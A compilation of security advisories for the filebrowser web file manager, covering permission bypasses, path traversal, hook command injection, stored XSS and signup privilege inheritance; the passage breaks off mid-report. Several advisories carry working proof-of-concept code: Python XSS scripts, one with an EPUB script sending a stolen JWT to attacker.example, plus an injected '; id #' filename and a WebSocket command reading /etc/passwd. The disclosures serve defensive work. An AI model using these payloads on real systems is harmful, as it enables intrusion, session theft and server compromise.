filebrowser through 2.63.23 fails to limit WebSocket message size in the /api/command handler before checking permissions, allowing authenticated users to buffer arbitrarily large messages. Attackers can send oversized WebSocket messages to exhaust server heap memory and cause denial of service regardless of EnableExec setting or Execute permission.
filebrowser from version 2.24.0 contains a race condition in the TUS upload handler that allows authenticated users to write past the declared Upload-Length by sending concurrent PATCH requests. Attackers can send multiple simultaneous PATCH requests at the same offset to bypass length validation, resulting in files that exceed their declared size and triggering completion hooks for oversized uploads.
filebrowser through 2.63.23 does not remove share records when a shared file is renamed (only deletion triggers share cleanup). The share record is keyed by path, so it survives the rename and remains dormant (returning 404 while the path is empty). When any new, unrelated file later appears at the original shared path — via re-upload, another user with create permission, or a hook — the stale public share link serves that new file under the original link's password and expiry settings, unexpectedly exposing it.
FileBrowser versions before 2.63.19 fail to enforce the declared Upload-Length in the TUS resumable-upload PATCH endpoint, allowing authenticated users to write arbitrary data to disk. Attackers can send oversized request bodies that exceed the declared upload length to exhaust available disk space and cause service unavailability.
filebrowser before 2.63.19 contains a permission bypass in the /api/resources endpoint. The checksum (?checksum=) branch of resourceGetHandler reads the entire file to compute a digest and returns it without performing a Perm.Download check (unlike the sibling raw, preview, and subtitle paths). As a result, an authenticated user provisioned with Perm.Download=false can obtain a content-hash oracle for any same-scope file (md5/sha1/sha256/sha512), enabling confirmation of known/guessed content, change detection, and offline brute-force of low-entropy files. This is an incomplete fix of CVE-2026-35606; it bypasses only the Download permission and does not defeat scope/path authorization.
filebrowser versions before v2.63.21 fail to canonicalize paths before evaluating access rules, allowing authenticated users to bypass administrator-defined deny rules using case-variant or backslash-separated paths. Attackers can request files with alternate path representations that match no rule but resolve to the same filesystem object, gaining unauthorized access to denied files within their scope.
filebrowser versions before 2.63.19 contain an out-of-scope file deletion vulnerability in the TUS upload cache eviction mechanism that allows authenticated users with only Create permission to delete arbitrary files outside their scope. Attackers can swap an ancestor directory with a symlink during the cache TTL window to redirect the raw os.Remove call to an out-of-scope target, bypassing ScopedFs scope guards and Perm.Delete checks.
filebrowser versions before 2.63.17 fail to normalize paths before querying the share index in DeleteWithPathPrefix, allowing authenticated users to leave stale public shares behind. Attackers can delete a shared directory using a trailing-slash path, then recreate the same directory to expose new contents through the dormant public share URL.
Summary
The fix in commit b6a4fb1 ("self-registered users don't get execute perms") stripped Execute permission and Commands from users created via the signup handler. The same fix was not applied to the proxy auth handler. Users auto-created on first successful proxy-auth login are granted execution capabilities from global defaults, even though the signup path was explicitly changed to prevent execution rights from being inherited by automatically provisioned accounts.
Confirmed on v2.62.2 (commit 860c19d).
Root Cause
auth/proxy.go createUser() applies defaults without restriction:
user := &users.User{ Username: username, Password: hashedRandomPassword, LockPassword: true, } setting.Defaults.Apply(user) // No restriction on Execute, Commands, or Admin
Compare with http/auth.go signup handler (lines 170-178):
d.settings.Defaults.Apply(user) user.Perm.Admin = false // Self-registered users should not inherit execution capabilities // from default settings, regardless of what the administrator has // configured as the default. user.Perm.Execute = false user.Commands = []string{}
The commit message for b6a4fb1 states: "Execution rights must be explicitly granted by an admin." Users auto-created via proxy auth are also automatically provisioned (created on first login without explicit admin action), and the admin has not explicitly granted them execution rights.
PoC
Tested on filebrowser v2.62.2, built from HEAD.
# Configure with proxy auth, default commands, and exec filebrowser config set --auth.method=proxy --auth.header=X-Remote-User \ --commands "git,ls,cat,id"
# Login as admin and verify defaults have execute=true, commands set ADMINTOKEN=$(curl -s http://HOST/api/login -H "X-Remote-User: admin")
# Auto-create new user via proxy header PROXYTOKEN=$(curl -s http://HOST/api/login -H "X-Remote-User: newproxyuser")
# Check permissions curl -s http://HOST/api/users -H "X-Auth: $ADMINTOKEN" | jq '.[] | select(.username=="newproxyuser") | {execute: .perm.execute, commands}'
Result:
{ "execute": true, "commands": ["git", "ls", "cat", "id"] }
The auto-created proxy user inherited Execute and the full Commands list. A user created via signup would have execute: false and commands: [].
Impact
In proxy-auth deployments where the admin has configured default commands, users auto-provisioned on first proxy login receive execution capabilities that were not explicitly granted. The project established a security invariant in commit b6a4fb1: automatically provisioned accounts must not inherit execution rights from defaults. The proxy auto-provisioning path violates that invariant.
This is an incomplete fix for GHSA-x8jc-jvqm-pm3f ("Signup Grants Execution Permissions When Default Permissions Includes Execution"), which addressed the signup handler but not the proxy auth handler.
Preconditions
- Proxy auth enabled (--auth.method=proxy) - Exec not disabled - Default settings include non-empty Commands (admin-configured)
Suggested Fix
Apply the same restrictions as the signup handler:
setting.Defaults.Apply(user) user.Perm.Admin = false user.Perm.Execute = false user.Commands = []string{}
---
Update: Fix submitted as PR #5890.
Summary
The resourceGetHandler in http/resource.go returns full text file content without checking the Perm.Download permission flag. All three other content-serving endpoints (/api/raw, /api/preview, /api/subtitle) correctly verify this permission before serving content. A user with download: false can read any text file within their scope through two bypass paths.
Confirmed on v2.62.2 (commit 860c19d).
Root Cause
http/resource.go line 26-33 hardcodes Content: true in the FileOptions without checking download permission:
file, err := files.NewFileInfo(&files.FileOptions{ ... Content: true, // Always loads text content, no permission check })
Lines 44-63: the X-Encoding: true header path reads the entire file and returns raw bytes as application/octet-stream, also without any download check.
Compare with the three protected endpoints:
// raw.go:83-85 if !d.user.Perm.Download { return http.StatusAccepted, nil }
// preview.go:38-40 if !d.user.Perm.Download { return http.StatusAccepted, nil }
// subtitle.go:13-15 if !d.user.Perm.Download { return http.StatusAccepted, nil }
PoC
Tested on filebrowser v2.62.2, built from HEAD.
# Create user with download=false via CLI filebrowser users add restricted testuser123456 --perm.download=false
# Login TOKEN=$(curl -s http://HOST/api/login -d '{"username":"restricted","password":"testuser123456"}')
# BLOCKED: /api/raw correctly enforces download permission curl -s -w "\nHTTP: %{httpcode}" http://HOST/api/raw/secret.txt -H "X-Auth: $TOKEN" # → 202 Accepted (empty body)
# BYPASS 1: /api/resources with X-Encoding returns raw file content curl -s http://HOST/api/resources/secret.txt -H "X-Auth: $TOKEN" -H "X-Encoding: true" # → 200 OK, body: SECRETPASSWORD=hunter2
# BYPASS 2: /api/resources JSON includes content field curl -s http://HOST/api/resources/secret.txt -H "X-Auth: $TOKEN" | jq .content # → "SECRETPASSWORD=hunter2\n"
Impact
A user with download: false can read the full content of text files within their authorized scope (up to the 10MB detectType limit). This includes source code, configuration files, credentials, and API tokens stored as text.
This bypass does not defeat path authorization. It bypasses only the Download permission for files the user can otherwise address within their authorized scope. The inconsistency across the four content-serving endpoints (three check Perm.Download, one does not) indicates this is an oversight, not a design decision.
Suggested Fix
Match the existing endpoint behavior (HTTP 202 for denied downloads):
Content: d.user.Perm.Download, // Only load content when permitted
And add a guard before the X-Encoding raw byte path, matching the existing 202 pattern:
if !d.user.Perm.Download { return http.StatusAccepted, nil }
---
Update: Fix submitted as PR #5891.
File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.63.1, the Matches() function in rules/rules.go uses strings.HasPrefix() without a trailing directory separator when matching paths against access rules. A rule for /uploads also matches /uploadsbackup/, granting or denying access to unintended directories. This vulnerability is fixed in 2.63.1.
File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.63.1, when an admin revokes a user's Share and Download permissions, existing share links created by that user remain fully accessible to unauthenticated users. The public share download handler does not re-check the share owner's current permissions. This vulnerability is fixed in 2.63.1.
[!NOTE] This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that it also applies to Hook Runners and not just to the Shell Commands, since all advisories until now focused only on the shell command execution. For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.
Overview
The hook system in File Browser — which executes administrator-defined shell commands on file events such as upload, rename, and delete — is vulnerable to OS command injection. Variable substitution for values like $FILE and $USERNAME is performed via os.Expand without sanitization. An attacker with file write permission can craft a malicious filename containing shell metacharacters, causing the server to execute arbitrary OS commands when the hook fires. This results in Remote Code Execution (RCE).
Affected Location
- File: runner/runner.go - Function: Runner.exec
Technical Details
Runner.exec expands template variables inside hook command strings using os.Expand:
go // runner/runner.go envMapping := func(key string) string { switch key { case "FILE": return path // attacker-controlled filename case "USERNAME": return username // attacker-controlled username // ... } }
for i, arg := range command { if i == 0 { continue } command[i] = os.Expand(arg, envMapping) // expands $FILE, $USERNAME, etc. }
The expanded value is then passed as a shell argument string. os.Expand performs plain string substitution with no escaping. If an admin has configured a hook such as:
sh -c "echo created $FILE"
...and an attacker creates a file named ; id #, the variable expansion produces:
sh -c "echo created /path/to/; id #"
The ; terminates the echo command and the shell executes id with server privileges. The # character comments out the remainder, preventing syntax errors.
This pattern is exploitable across all hook events: beforeupload, afterupload, beforerename, afterrename, beforedelete, afterdelete, etc.
Attack Scenario / Reproduction Steps
1. Admin configures an afterupload hook: sh -c "echo created $FILE". 2. The attacker (authenticated user with upload permission) uploads a file named ; id #. 3. The upload succeeds and the hook fires automatically. 4. The server executes: sh sh -c "echo created /uploads/; id #" 5. The id command runs, confirming RCE.
Impact
Any authenticated user with file create, upload, or rename permissions can achieve arbitrary RCE on the server when shell-based hooks are configured. The attacker does not need to know the exact hook command — any hook that embeds $FILE in a shell string is exploitable by crafting the filename accordingly.
Proof of Concept
go package runner
import ( "os" "testing"
"github.com/filebrowser/filebrowser/v2/settings" )
func TestPoCFileHookInjection(t testing.T) { // Simulate an admin-configured shell-based hook r := &Runner{ Enabled: true, Settings: &settings.Settings{ Shell: []string{"sh", "-c"}, Commands: map[string][]string{ "afterupload": {"echo Uploaded $FILE"}, }, }, }
// Malicious filename crafted by the attacker maliciousFilename := "/tmp/safe; id #"
// Simulate the exec logic in runner/runner.go raw := r.Commands["afterupload"][0] command, , := ParseCommand(r.Settings, raw)
envMapping := func(key string) string { if key == "FILE" { return maliciousFilename } return os.Getenv(key) }
for i, arg := range command { if i == 0 { continue } // os.Expand substitutes $FILE with the attacker-controlled filename — // no escaping is applied, so shell metacharacters pass through unchanged. command[i] = os.Expand(arg, envMapping) }
// The resulting command argument is the injected shell script: // sh -c "echo Uploaded /tmp/safe; id #" expectedArg := "echo Uploaded /tmp/safe; id #" if command[2] != expectedArg { t.Errorf("Expected command argument %q, got %q", expectedArg, command[2]) }
t.Logf("Confirmed: filename injection succeeded. Shell will execute: %v", command) }
Summary The SPA index page in File Browser is vulnerable to Stored Cross-site Scripting (XSS) via admin-controlled branding fields. An admin who sets branding.name to a malicious payload injects persistent JavaScript that executes for ALL visitors, including unauthenticated users.
<br/>
Details http/static.go renders the SPA index.html using Go's text/template (NOT html/template) with custom delimiters [{[ and ]}]. Branding fields are inserted directly into HTML without any escaping:
go // http/static.go, line 16 — imports text/template instead of html/template "text/template"
// http/static.go, line 33 — branding.Name passed into template data "Name": d.settings.Branding.Name,
// http/static.go, line 97 — template parsed with custom delimiters, no escaping index := template.Must(template.New("index").Delims("[{[", "]}]").Parse(string(fileContents)))
The frontend template (frontend/public/index.html) embeds these fields directly: html <!-- frontend/public/index.html, line 16 --> [{[ if .Name -]}][{[ .Name ]}][{[ else ]}]File Browser[{[ end ]}]
<!-- frontend/public/index.html, line 42 --> content="[{[ if .Color -]}][{[ .Color ]}][{[ else ]}]#2979ff[{[ end ]}]"
Since text/template performs NO HTML escaping (unlike html/template), setting branding.name to </title><script>alert(1)</script> breaks out of the <title> tag and injects arbitrary script into every page load.
Additionally, when ReCaptcha is enabled, the ReCaptchaHost field is used as: html <script src="[{[.ReCaptchaHost]}]/recaptcha/api.js"></script> This allows loading arbitrary JavaScript from an admin-chosen origin.
No Content-Security-Policy header is set on the SPA entry point, so there is no CSP mitigation.
<br/>
PoC Below is the PoC python script that could be ran on test environment using docker compose:
yaml services:
filebrowser: image: filebrowser/filebrowser:v2.62.1 user: 0:0 ports: - "80:80"
And running this PoC python script: python import argparse import json import sys import requests
BANNER = """ Stored XSS via Branding Injection PoC Affected: filebrowser/filebrowser <=v2.62.1 Root cause: http/static.go uses text/template (not html/template) Branding fields rendered unescaped into SPA index.html """
XSSMARKER = "XSSBRANDINGPOC12345" XSSPAYLOAD = ( '</title><script>window.' + XSSMARKER + '=1;' 'alert("XSS in File Browser branding")</script><title>' )
def login(base: str, username: str, password: str) -> str: r = requests.post(f"{base}/api/login", json={"username": username, "password": password}, timeout=10) if r.statuscode != 200: print(f" Login failed: {r.statuscode}") sys.exit(1) return r.text.strip('"')
def main(): sys.stdout.write(BANNER) sys.stdout.flush()
ap = argparse.ArgumentParser( formatterclass=argparse.RawDescriptionHelpFormatter, description="Stored XSS via branding injection PoC", epilog="""examples: %(prog)s -t http://localhost -u admin -p admin %(prog)s -t http://target.com/filebrowser -u admin -p secret
how it works: 1. Authenticates as admin to File Browser 2. Sets branding.name to a <script> payload via PUT /api/settings 3. Fetches the SPA index (unauthenticated) to verify the payload renders unescaped in the HTML <title> tag
root cause: http/static.go renders the SPA index.html using Go's text/template (NOT html/template) with custom delimiters [{[ and ]}]. Branding fields like Name are inserted directly into HTML: <title>[{[.Name]}]</title> No escaping is applied, so HTML/JS in the name breaks out of the <title> tag and executes as script.
impact: Stored XSS affecting ALL visitors (including unauthenticated). An admin (or attacker who compromised admin) can inject persistent JavaScript that steals credentials from every user who visits.""", )
ap.addargument("-t", "--target", required=True, help="Base URL of File Browser (e.g. http://localhost)") ap.addargument("-u", "--user", required=True, help="Admin username") ap.addargument("-p", "--password", required=True, help="Admin password") if len(sys.argv) == 1: ap.printhelp() sys.exit(1) args = ap.parseargs()
base = args.target.rstrip("/") hdrs = lambda tok: {"X-Auth": tok, "Content-Type": "application/json"}
print() print("[] ATTACK BEGINS...") print("====================")
print(f"\n [1] Authenticating to {base}") token = login(base, args.user, args.password) print(f" Logged in as: {args.user}")
print(f"\n [2] Injecting XSS payload into branding.name") r = requests.get(f"{base}/api/settings", headers=hdrs(token), timeout=10) if r.statuscode != 200: print(f" Failed: GET /api/settings returned {r.statuscode}") print(f" (requires admin privileges)") sys.exit(1) settings = r.json() settings["branding"]["name"] = XSSPAYLOAD r = requests.put(f"{base}/api/settings", headers=hdrs(token), json=settings, timeout=10) if r.statuscode != 200: print(f" Failed: PUT /api/settings returned {r.statuscode}") sys.exit(1) print(f" Payload injected")
print(f"\n [3] Verifying XSS renders in unauthenticated SPA") r = requests.get(f"{base}/", timeout=10) html = r.text
if XSSMARKER in html: print(f" XSS payload found in HTML response!") for line in html.split("\n"): if XSSMARKER in line: print(f" >>> {line.strip()[:120]}") csp = r.headers.get("Content-Security-Policy", "") if not csp: print(f" No CSP header — script executes without restriction") confirmed = True else: print(f" Payload NOT found in HTML") confirmed = False
print() print("====================")
if confirmed: print() print("CONFIRMED: text/template renders branding.name without escaping.") print("The <title> tag is broken and arbitrary <script> executes.") print("Every visitor (authenticated or not) receives the payload.") print() print(f"Open {base}/ in a browser to see the alert() popup.") else: print() print("NOT CONFIRMED in this test run.") print()
if name == "main": main()
And terminal output: bash root@server205:~/sec-filebrowser# python3 pocbrandingxss.py -t http://localhost -u admin -p "jhSR9z9pofv5evlX"
Stored XSS via Branding Injection PoC Affected: filebrowser/filebrowser <=v2.62.1 Root cause: http/static.go uses text/template (not html/template) Branding fields rendered unescaped into SPA index.html
[] ATTACK BEGINS... ====================
[1] Authenticating to http://localhost Logged in as: admin
[2] Injecting XSS payload into branding.name Payload injected
[3] Verifying XSS renders in unauthenticated SPA XSS payload found in HTML response! >>> </title><script>window.XSSBRANDINGPOC12345=1;alert("XSS in File Browser branding")</script><title> >>> window.FileBrowser = {"AuthMethod":"json","BaseURL":"","CSS":false,"Color":"","DisableExternal":false,"DisableUsedPercen No CSP header — script executes without restriction
====================
CONFIRMED: text/template renders branding.name without escaping. The <title> tag is broken and arbitrary <script> executes. Every visitor (authenticated or not) receives the payload.
Open http://localhost/ in a browser to see the alert() popup.
<br/>
Impact - Stored XSS affecting ALL visitors including unauthenticated users - Persistent backdoor — the payload survives until branding is manually changed
Summary
The signupHandler in File Browser applies default user permissions via d.settings.Defaults.Apply(user), then strips only Admin (commit a63573b). The Execute permission and Commands list from the default user template are not stripped. When an administrator has enabled signup, server-side execution, and set Execute=true in the default user template, any unauthenticated user who self-registers inherits shell execution capabilities and can run arbitrary commands on the server.
Details
Root Cause
signupHandler at http/auth.go:167–172 applies all default permissions before stripping only Admin:
go // http/auth.go d.settings.Defaults.Apply(user) // copies ALL permissions from defaults
// Only Admin is stripped — Execute, Commands are still inherited user.Perm.Admin = false // user.Perm.Execute remains true if set in defaults // user.Commands remains populated if set in defaults
settings/defaults.go:31–33 confirms Apply copies the full permissions struct including Execute and Commands:
go func (d UserDefaults) Apply(u users.User) { u.Perm = d.Perm // includes Execute u.Commands = d.Commands // includes allowed shell commands // ... }
The commandsHandler at http/commands.go:63–66 checks both the server-wide EnableExec flag and d.user.Perm.Execute:
go if !d.server.EnableExec || !d.user.Perm.Execute { // writes "Command not allowed." and returns }
The withUser middleware reads d.user from the database at request time (http/auth.go:103), so the persisted Execute=true and Commands values from signup are authoritative. The command allowlist check at commands.go:80 passes because the user's Commands list contains the inherited default commands:
go if !slices.Contains(d.user.Commands, name) { // writes "Command not allowed." and returns }
Execution Flow
1. Admin configures: Signup=true, EnableExec=true, Defaults.Perm.Execute=true, Defaults.Commands=["bash"] 2. Unauthenticated attacker POSTs to /api/signup → new user created with Execute=true, Commands=["bash"] 3. Attacker logs in → receives JWT with valid user ID 4. Attacker opens WebSocket to /api/command/ → withUser fetches user from DB, Execute=true passes check 5. Attacker sends bash over WebSocket → exec.Command("bash") is invoked → arbitrary shell execution
This is a direct consequence of the incomplete fix in commit a63573b (CVE-2026-32760 / GHSA-5gg9-5g7w-hm73), which applied the same rationale ("signup users should not inherit privileged defaults") only to Admin, not to Execute and Commands.
PoC
bash TARGET="http://localhost:8080"
Step 1: Self-register (no authentication required) curl -s -X POST "$TARGET/api/signup" \ -H "Content-Type: application/json" \ -d '{"username":"attacker","password":"AttackerP@ss1!"}' Returns: 200 OK
Step 2: Log in and capture token TOKEN=$(curl -s -X POST "$TARGET/api/login" \ -H "Content-Type: application/json" \ -d '{"username":"attacker","password":"AttackerP@ss1!"}' | tr -d '"')
Step 3: Inspect inherited permissions (decode JWT payload) echo "$TOKEN" | cut -d'.' -f2 | base64 -d 2>/dev/null | python3 -m json.tool Expected output (if defaults have Execute=true, Commands=["bash"]): { "user": { "perm": { "execute": true, ... }, "commands": ["bash"], ... } }
Step 4: Execute shell command via WebSocket (requires wscat: npm install -g wscat) echo '{"command":"bash -c \"id && hostname && cat /etc/passwd | head -3\""}' | \ wscat --header "X-Auth: $TOKEN" \ --connect "$TARGET/api/command/" \ --wait 3 Expected: uid=... hostname output followed by /etc/passwd lines
Impact
On any deployment where an administrator has: 1. Enabled public self-registration (signup = true) 2. Enabled server-side command execution (enableExec = true) 3. Set Execute = true in the default user template 4. Populated Commands with one or more shell commands
An unauthenticated attacker can self-register and immediately gain the ability to run arbitrary shell commands on the server with the privileges of the File Browser process. All files accessible to the process, environment variables (including secrets), and network interfaces are exposed. This is a complete server compromise for processes running as root, and a significant lateral movement vector otherwise.
The original Admin fix (GHSA-5gg9-5g7w-hm73) demonstrates that the project explicitly recognizes that self-registered users should not inherit privileged defaults. The Execute + Commands omission is an incomplete application of that principle.
Recommended Fix
Extend the existing Admin stripping in http/auth.go to also clear Execute and Commands for self-registered users:
go // http/auth.go — after d.settings.Defaults.Apply(user)
// Users signed up via the signup handler should never become admins, even // if that is the default permission. user.Perm.Admin = false
// Self-registered users should not inherit execution capabilities from // default settings, regardless of what the administrator has configured // as the default. Execution rights must be explicitly granted by an admin. user.Perm.Execute = false user.Commands = []string{}
Summary
The EPUB preview function in File Browser is vulnerable to Stored Cross-site Scripting (XSS). JavaScript embedded in a crafted EPUB file executes in the victim's browser when they preview the file.
Details
frontend/src/views/files/Preview.vue passes allowScriptedContent: true to the vue-reader (epub.js) component: js // frontend/src/views/files/Preview.vue (Line 87) :epubOptions="{ allowPopups: true, allowScriptedContent: true, }" epub.js renders EPUB content inside a sandboxed <iframe> with srcdoc. However, the sandbox includes both allow-scripts and allow-same-origin, which renders the sandbox ineffective — the script can access the parent frame's DOM and storage.
The epub.js developers explicitly warn against enabling scripted content.
PoC I've crafted the PoC python script that could be ran on test environment using docker compose:
yaml services:
filebrowser: image: filebrowser/filebrowser:v2.62.1 user: 0:0 ports: - "80:80"
And running this PoC python script: python import argparse import io import sys import zipfile import requests
BANNER = """ Stored XSS via EPUB PoC Affected: filebrowser/filebrowser <=v2.62.1 Root cause: Preview.vue -> epubOptions: { allowScriptedContent: true } Related: CVE-2024-35236 (same pattern in audiobookshelf) """
CONTAINERXML = """<?xml version="1.0" encoding="UTF-8"?> <container version="1.0" xmlns="urn:oasis:names:tc:opendocument:xmlns:container"> <rootfiles> <rootfile full-path="OEBPS/content.opf" media-type="application/oebps-package+xml"/> </rootfiles> </container>"""
CONTENTOPF = """<?xml version="1.0" encoding="UTF-8"?> <package xmlns="http://www.idpf.org/2007/opf" unique-identifier="uid" version="3.0"> <metadata xmlns:dc="http://purl.org/dc/elements/1.1/"> <dc:identifier id="uid">poc-xss-epub-001</dc:identifier> <dc:title>Security Test Document</dc:title> <dc:language>en</dc:language> <meta property="dcterms:modified">2025-01-01T00:00:00Z</meta> </metadata> <manifest> <item id="chapter1" href="chapter1.xhtml" media-type="application/xhtml+xml"/> <item id="nav" href="nav.xhtml" media-type="application/xhtml+xml" properties="nav"/> </manifest> <spine> <itemref idref="chapter1"/> </spine> </package>"""
NAVXHTML = """<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:epub="http://www.idpf.org/2007/ops"> <head><title>Navigation</title></head> <body> <nav epub:type="toc"> <ol><li><a href="chapter1.xhtml">Chapter 1</a></li></ol> </nav> </body> </html>"""
XSSCHAPTER = """<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head><title>Chapter 1</title></head> <body> <h1>Security Test Document</h1> <p>This document tests EPUB script execution in File Browser.</p> <p id="xss-proof" style="color: red; font-weight: bold;">Waiting...</p> <p id="ip-proof" style="color: orange; font-weight: bold;">Fetching IP...</p> <script> var out = document.getElementById("xss-proof"); var ipOut = document.getElementById("ip-proof"); var jwt = "not-found"; try { jwt = window.parent.localStorage.getItem("jwt"); } catch(e) { jwt = "error: " + e.message; } out.innerHTML = "XSS OK" + String.fromCharCode(60) + "br/" + String.fromCharCode(62) + "JWT: " + jwt; fetch("https://ifconfig.me/ip").then(function(r){ return r.text(); }).then(function(ip){ ipOut.textContent = "Victim public IP: " + ip.trim(); }).catch(function(e){ ipOut.textContent = "IP fetch failed: " + e.message; }); var img = new Image(); img.src = "https://attacker.example/?stolen=" + encodeURIComponent(jwt); </script> </body> </html>"""
def login(base: str, username: str, password: str) -> str: r = requests.post(f"{base}/api/login", json={"username": username, "password": password}, timeout=10) if r.statuscode != 200: print(f"[-] Login failed: {r.statuscode}") sys.exit(1) return r.text.strip('"')
def buildepub() -> bytes: """Build a minimal EPUB 3 file with embedded JavaScript.""" buf = io.BytesIO() with zipfile.ZipFile(buf, 'w', zipfile.ZIPDEFLATED) as zf: zf.writestr("mimetype", "application/epub+zip", compresstype=zipfile.ZIPSTORED) zf.writestr("META-INF/container.xml", CONTAINERXML) zf.writestr("OEBPS/content.opf", CONTENTOPF) zf.writestr("OEBPS/nav.xhtml", NAVXHTML) zf.writestr("OEBPS/chapter1.xhtml", XSSCHAPTER) return buf.getvalue()
def main(): print(BANNER) ap = argparse.ArgumentParser( formatterclass=argparse.RawDescriptionHelpFormatter, description="Stored XSS via malicious EPUB PoC", epilog="""examples: %(prog)s -t http://localhost:8080 -u admin -p admin %(prog)s -t http://target.com/filebrowser -u user -p pass
root cause: frontend/src/views/files/Preview.vue passes epubOptions: { allowScriptedContent: true } to the vue-reader (epub.js) component. The iframe sandbox includes allow-scripts and allow-same-origin, which lets the script access the parent frame's localStorage and make arbitrary network requests.
impact: Session hijacking, privilege escalation, data exfiltration. A low-privilege user with upload access can steal admin tokens.""", )
ap.addargument("-t", "--target", required=True, help="Base URL of File Browser (e.g. http://localhost:8080)") ap.addargument("-u", "--user", required=True, help="Username to authenticate with") ap.addargument("-p", "--password", required=True, help="Password to authenticate with") if len(sys.argv) == 1: ap.printhelp() sys.exit(1) args = ap.parseargs()
base = args.target.rstrip("/")
print() print("[] ATTACK BEGINS...") print("====================")
print(f" [1] Authenticating to {base}") token = login(base, args.user, args.password) print(f" Logged in as: {args.user}")
print(f"\n [2] Building malicious EPUB") epubdata = buildepub() print(f" EPUB size: {len(epubdata)} bytes")
uploadpath = "/pocxsstest.epub" print(f"\n [3] Uploading to {uploadpath}") requests.delete(f"{base}/api/resources{uploadpath}", headers={"X-Auth": token}, timeout=10) r = requests.post( f"{base}/api/resources{uploadpath}?override=true", data=epubdata, headers={ "X-Auth": token, "Content-Type": "application/epub+zip", }, timeout=30 )
if r.statuscode in (200, 201, 204): print(f" Upload OK ({r.statuscode})") else: print(f" Upload FAILED: {r.statuscode} {r.text[:200]}") sys.exit(1)
previewurl = f"{base}/files{uploadpath}"
print(f"\n [4] Done") print(f" Preview URL: {previewurl}") print("====================") print() print() print(f"Open the URL above in a browser. You should see:") print(f" - Red text: \"XSS OK\" + stolen JWT token") print(f" - Orange text: victim's public IP (via ifconfig.me)") print() print(f"NOTE: alert() is blocked by iframe sandbox (no allow-modals).") print(f"The attack is silent — JWT theft and network exfiltration work.")
if name == "main": main()
And terminal output: bash root@server205:~/sec-filebrowser# python3 pocxssepub.py -t http://localhost -u admin -p VJlfum8fGTmyXx8t
Stored XSS via EPUB PoC Affected: filebrowser/filebrowser <=v2.62.1 Root cause: Preview.vue -> epubOptions: { allowScriptedContent: true } Related: CVE-2024-35236 (same pattern in audiobookshelf)
[] ATTACK BEGINS... ==================== [1] Authenticating to http://localhost Logged in as: admin
[2] Building malicious EPUB EPUB size: 1927 bytes
[3] Uploading to /pocxsstest.epub Upload OK (200)
[4] Done Preview URL: http://localhost/files/pocxsstest.epub ====================
Open the URL above in a browser. You should see: - Red text: "XSS OK" + stolen JWT token - Orange text: victim's public IP (via ifconfig.me)
NOTE: alert() is blocked by iframe sandbox (no allow-modals). The attack is silent — JWT theft and network exfiltration work.
<br/>
Impact - JWT token theft — full session hijacking - Privilege escalation — a low-privilege user with upload (Create) permission can steal an admin's token
Summary A permission enforcement flaw allows users without download privileges (download=false) to still expose and retrieve file content via public share links when they retain share privileges (share=true). This bypasses intended access control policy and enables unauthorized data exfiltration to unauthenticated users. Where download restrictions are used for data-loss prevention or role separation.
Details The backend applies inconsistent authorization checks across download paths:
- Direct raw download correctly enforces Perm.Download: - [raw.go](filebrowser/http/raw.go:82) - Share creation only enforces Perm.Share: - [share.go](filebrowser/http/share.go:21) - Public share/download handlers serve shared content without verifying owner Perm.Download: - public.go(filebrowser/http/public.go:18) - public.go(filebrowser/http/public.go:116)
As a result, a user who is blocked from direct downloads can create a share and obtain the same file via /api/public/dl/<hash>.
PoC
1. Create a non-admin user with: - perm.share = true - perm.download = false
2. Login as that user and upload a PDF file: - POST /api/resources/nodlsecret<rand>.pdf with Content-Type: application/pdf
3. Verify direct raw download is denied: - GET /api/raw/nodlsecret<rand>.pdf - Expected and observed: 202 Accepted (blocked)
4. Create share for same file: - POST /api/share/nodlsecret<rand>.pdf - Observed: 200, response includes hash (example: qxfK3JMG)
5. Download publicly without authentication: - GET /api/public/dl/<hash> - Observed (vulnerable): 200, Content-Type: application/pdf, and PDF bytes are returned
Live evidence captured (March 1, 2026): - create user: 201 - create file: 200 - direct /api/raw: 202 Accepted - create share: 200 - public download /api/public/dl/mxK-ppZb: 200 - public download content-type: application/pdf - public download body length: 327 bytes
Impact This is an access control / authorization policy bypass vulnerability.
- Who can exploit: Any authenticated user granted share=true but denied download. - Who is impacted: Operators and organizations relying on download restrictions to prevent data export. - What can happen: Restricted users can still distribute and retrieve files publicly, including unauthenticated access through share URLs.
Description
The resourcePatchHandler in http/resource.go validates the destination path against configured access rules before the path is cleaned/normalized. The rules engine (rules/rules.go) uses literal string prefix matching (strings.HasPrefix) or regex matching against the raw path. The actual file operation (fileutils.Copy, patchAction) subsequently calls path.Clean() which resolves .. sequences, producing a different effective path than the one validated.
This allows an authenticated user with Create or Rename permissions to bypass administrator-configured deny rules by including .. (dot-dot) path traversal sequences in the destination query parameter of a PATCH request.
Steps to Reproduce
1. Verify the rule works normally
bash This should return 403 Forbidden curl -X PATCH \ -H "X-Auth: <alicejwt>" \ "http://host/api/resources/public/test.txt?action=copy&destination=%2Frestricted%2Fcopied.txt"
2. Exploit the bypass
bash This should succeed despite the deny rule curl -X PATCH \ -H "X-Auth: <alicejwt>" \ "http://host/api/resources/public/test.txt?action=copy&destination=%2Fpublic%2F..%2Frestricted%2Fcopied.txt"
3. Result
The file test.txt is copied to /restricted/copied.txt despite the deny rule for /restricted/.
Root Cause Analysis
In http/resource.go:209-257:
go dst := r.URL.Query().Get("destination") // line 212 dst, err := url.QueryUnescape(dst) // line 214 — dst contains ".." if !d.Check(src) || !d.Check(dst) { // line 215 — CHECK ON UNCLEANED PATH return http.StatusForbidden, nil }
In rules/rules.go:29-35:
go func (r Rule) Matches(path string) bool { if r.Regex { return r.Regexp.MatchString(path) // regex on literal path } return strings.HasPrefix(path, r.Path) // prefix on literal path }
In fileutils/copy.go:12-17:
go func Copy(afs afero.Fs, src, dst string, ...) error { if dst = path.Clean("/" + dst); dst == "" { // CLEANING HAPPENS HERE, AFTER CHECK return os.ErrNotExist }
The rules check sees /public/../restricted/copied.txt (no match for /restricted/ prefix). The file operation resolves it to /restricted/copied.txt (within the restricted path).
Secondary Issue
